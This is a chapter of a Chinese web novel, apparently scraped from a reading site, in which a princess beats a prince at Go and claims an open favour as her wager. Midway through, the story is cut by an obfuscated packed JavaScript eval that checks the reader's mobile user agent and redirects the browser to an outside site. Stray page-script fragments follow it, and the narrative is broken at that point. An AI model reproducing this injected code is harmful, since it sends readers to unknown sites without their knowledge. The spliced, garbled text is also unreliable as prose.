默认冷灰
24号文字
方正启体

14. 花亭对弈讨彩头

作者:五十七点二本书字数:K更新时间:
    乱花亭下,春色正好。


    石桌之上,摆着一方石枰,枰上纵横棋道分明。两侧对角,各摆围棋篓子,一盛白子,一盛黑子。


    宋萋萂葱白指尖捻着一枚墨玉黑子,单手托腮瞧着对面的人儿。


    阿桐两手各自捏着一枚宛如羊脂玉的白子,眉头锁得紧紧的,盯着棋盘上自己寥寥无几、东零西落的白子,嘴里小声嘟囔着:“这儿?不行不行......公主定会吃了我的子儿......那儿?也不行......”


    这抓耳挠腮的模样,活像只被困在笼中的小猴儿,宋萋萂看得心底发笑,不过她到底手下留情,只慢慢与之周旋,并不急于一招定生死,权当是陪着阿桐熟悉棋路,聊以解闷罢了。


    起初,宋萋萂还耐心与她讲解,何为“金角银边草肚皮”,何为“气”与“眼”。


    可阿桐听得云里雾里,只顾盯着棋盘,满心只想找出能“活”的地方,至于宋萋萂讲了什么,半个字也没入耳。看着她这般求胜心切,宋萋萂便笑笑作罢了。


    阿桐捏着白子,即将落下,偷偷抬眼瞧了眼宋萋萂,见那人嘴角陡然生出个笑,阿桐心中犯嘀咕:公主这般坏笑,想来这子我一落下,便要被她吃得死死的,不能落,可不能落,我再寻旁处。


    复又收回,她捏着白子的手指在石枰上方溜了一遭,迟迟不肯落下。


    “阿桐,可过了半炷香了。”宋萋萂忍不住逗弄道。


    “公主,奴婢这便下了,您不说,思虑周全再落子嘛?奴婢这是找棋眼呢。”她头也顾不得抬,视线都黏在黑黑白白的棋子上,“这!便是这!”


    “啪——”白子落。


    宋萋萂微微探头,见白子落下的地方,旋即了然一笑,指尖一点,黑子落下。


    阿桐盯着那颗黑子愣了愣,“输了输了......本就只剩这一口气,还被公主堵死了。”


    她两手摸着脑袋,颇为懊恼道,“早知不下在那处了,公主也不知让让奴婢。”


    宋萋萂笑了笑,“控棋局者,方能定对手之生死。若仰人施舍,则如引颈待戮,岂可懈怠?”


    阿桐听她这般说,不以为意撇撇嘴,“公主可是说过的,要让着奴婢呢?”


    宋萋萂还未应言,便瞧见那道熟悉身影,顾溟今日穿着一身天青色的常服,腰间系着玉带,手中随意握着一柄合拢的玉竹骨扇,神情是一贯的疏淡,这般模样的顾溟,倒似个翩翩君子,仿佛刚从哪处赴了个寻常的宴席归来。


    见宋萋萂起身,阿桐也随她视线转头望去,见是顾溟,她仿佛石凳着火,烧了屁股,猛地弹起来,忙躬身行礼。


    “王爷,可要与萋萂对弈一番?”宋萋萂开口相邀。


    顾溟见她开口,抬扇敲了敲掌心,竟真的迈步过来。他径自走到阿桐刚坐的地方,撩起衣摆,坦然落座。那玉竹骨扇被他随手置于石桌上,发出极轻的“嗒”的一声。


    顾安近前,开始捡拾石枰上零零散散的棋子,装入两只棋篓中,将棋篓置于石枰之上。


    顾溟抬手,将白子棋篓推向宋萋萂,自己揽过黑子,“公主先请。”


    宋萋萂微微一怔,随即笑道,“王爷既让萋萂先行,萋萂便依从王爷。”


    “不过嘛,只对弈少了些许趣味,萋萂和王爷定个彩头如何,输者任凭赢者差遣一事,王爷意下如何?”她继续道。


    “可”,顾溟沉声道。


    宋萋萂拈起一枚白子,略一沉吟,落在小目。


    顾溟紧随其后,白子落在星位。


    宋萋萂再落一子,仍是小目;顾溟不疾不徐,在另一侧星位落子。


    开局四手落定,黑白各占一角,棋局初具雏形。


    宋萋萂指尖捻着棋子,目光在棋盘上逡巡片刻。第五手落在了三路。这一手不是寻常开局的路数,带着几分试探意味。顾溟眉梢微动,落子应对。


    白子咬黑子,黑子衔白子,不大一会儿,黑白子便占了小半的石枰。


    顾溟落下一子,忽然开口,“公主前几日荐的那人,昨日本王让曹建去了。”


    宋萋萂执子的手微微一顿,抬眸看他,未曾想他去的这般快。


    “曹建问他,‘若朝廷欲开漕运,沟通南北,当以何为先?’”顾溟语气平淡,仿佛只是在说棋盘上的事,“那人答,‘不以利先,不以民后。’”


    宋萋萂听罢,眸光微动。


    顾溟悠悠端起顾安此前递过来的热茶,“曹建又问,‘何解?’”


    宋萋萂见他不紧不慢啜饮一口。


    “他言道,‘漕运之利,在商在税,然若以利为先,必苟民力、夺民时。当先计民力所堪,再论商税所获。民安则商通,商通则税丰。此所谓’”,顾溟放下茶盏,“‘不以利先,不以民后’。”


    顾溟捻起黑子,落子,抬眼看她,“公主荐的这人,曹建说,可用。”


    宋萋萂唇角微弯,拈起一子,轻轻落下,“夹。”


    顾溟从闲话中回神,眉头微动,这一手夹得刁钻,两边白子遥相呼应,竟把他的黑子困在了方寸之间。他沉吟片刻,落子,“尖。”


    白子再逼,“靠。”


    黑子不退,“长。”


    几个回合下来,棋盘上已是短兵相接,白子灵动如蛇,黑子稳重如山。


    宋萋萂忽然落下一子,落点偏僻。


    顾溟微怔,抬眼见那人气定神闲。这一手看似闲棋,实则暗藏杀机,三路之外,竟隐隐要围成一片大势。


    “好棋。”他难得开口赞了一句。


    阿桐在旁边看得云里雾里,见宋萋萂落子后,顾溟久久未动,忍不住偏头小声问旁侧的顾安,“顾总管,王爷是不是要输了?”


    顾安赶忙干咳一声,阿桐忙捂住嘴。


    思忖半晌,顾溟指尖才拈着棋子落定。果不其然,他便见着宋萋萂白皙的手指拈起羊脂玉子,精准落在那处气口。又见那人眉眼弯弯,嘴上说着“承让”,指尖却在棋盘上飞快地挑挑拣拣,将他被围的黑子尽数收走。


    对弈至今,顾溟已渐渐摸清她的一些门道。方才那一手,她明明可以继续周旋,布下更大的包围圈,图谋更多。他原本猜测她会贪心,他甚至期待她贪心。因为她越晚绞杀,他便越有喘息之机,逆风翻盘的可能也就越大。


    可她偏偏没有。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321195|199069||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她选了此刻收网。这一局,他折损的棋子不算多,可棋局过半,每一子都举足轻重,而宋萋萂这一子可谓断了他后续的生机。不算伤筋动骨,却让他之后的布局处处掣肘。


    这一手,倒真打了他个措手不及。


    他不禁对她另眼相看。顾溟从她下棋布局,便可窥见此女子的野心,高瞻远瞩,谋定后掠。这般审时度势,拿捏得恰到好处,若是男子,定可大有一番作为。


    “公主于棋道倒很是精通。”顾溟有感而发。


    “萋萂不才,让王爷见笑了。”宋萋萂谦道。


    “王爷,您不知,公主下围棋可是一绝,连李太傅都甘拜下风,当场叹道,‘青出于蓝而胜于蓝’。”阿桐开口替自家主子撑场子。


    “哦?”顾溟瞧了眼宋萋萂,那人只笑着,抿唇不语,“连李太傅都自愧不如,公主的棋艺定是极好的。”


    又过了小半炷香,阿桐探头盯着棋盘走势,脖子都有些酸了。


    宋萋萂再想摸子,棋篓却空了,未想到这般酣畅,她笑道,“王爷,官子吧。”


    顾溟颔首,目光落在棋盘上。


    宋萋萂垂眸细数,指尖在棋盘上空虚虚点过,一处,两处,三处……她数得认真,眉心微微蹙起,偶尔停顿片刻,复又继续。


    亭中一时静默,只闻春风拂过,带来几瓣花跌落的声响。


    阿桐在一旁屏息凝神,看看宋萋萂,又看看顾溟,不敢出声。她虽看不懂棋,却能从两人的神情中嗅出几分紧张,只见公主眉心微蹙,王爷目光沉凝。


    半晌,顾溟率先收回视线,端起茶盏抿了一口,道:“公主赢了。”


    宋萋萂抬眼看他,浅浅一笑“王爷不点数?”


    “不必。”顾溟放下茶盏,“本王输了三个子。”


    宋萋萂微微一怔,旋即笑道,“王爷好眼力,萋萂数出来也是三个子。”


    顾溟没有接话,只是静静看着她。日光从亭角斜斜落下,在她脸上镀了一层浅浅的金。她今日穿着一身藕荷色的春衫,衬得眉眼愈发温润,方才下棋时那股凌厉的气势此刻已全然收起,只剩赢棋后的一点小小得意,藏在弯弯的眉眼间。


    “彩头。”顾溟开口。


    宋萋萂回过神来,眨了眨眼。


    “公主想要什么?”顾溟问得平淡。


    宋萋萂沉吟片刻,忽然笑了:“萋萂还未想好。”


    顾溟看着她,目光里有一丝探究。


    宋萋萂迎上他的视线,笑意未落:“王爷容萋萂想一想,想好了再来讨。届时王爷可不许赖账。”


    “本王不赖账。”顾溟起身,抬手拿起石桌上那柄玉竹骨扇,“公主想好了,随时来取。”


    宋萋萂目送那抹天青色渐行渐远,直到消失在乱花亭外的花木深处,这才收回视线。


    阿桐凑过来,压低了声音,却压不住满脸的好奇:“公主,您想好要什么了吗?”


    宋萋萂摇摇头,“留个彩头以备不时之需,若是日后有求于他,也好开得了口。”言罢,她凝着乱花亭外已然带了浅浅绿意的海棠树,花瓣被风一吹,簌簌飘飞,落在石阶上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)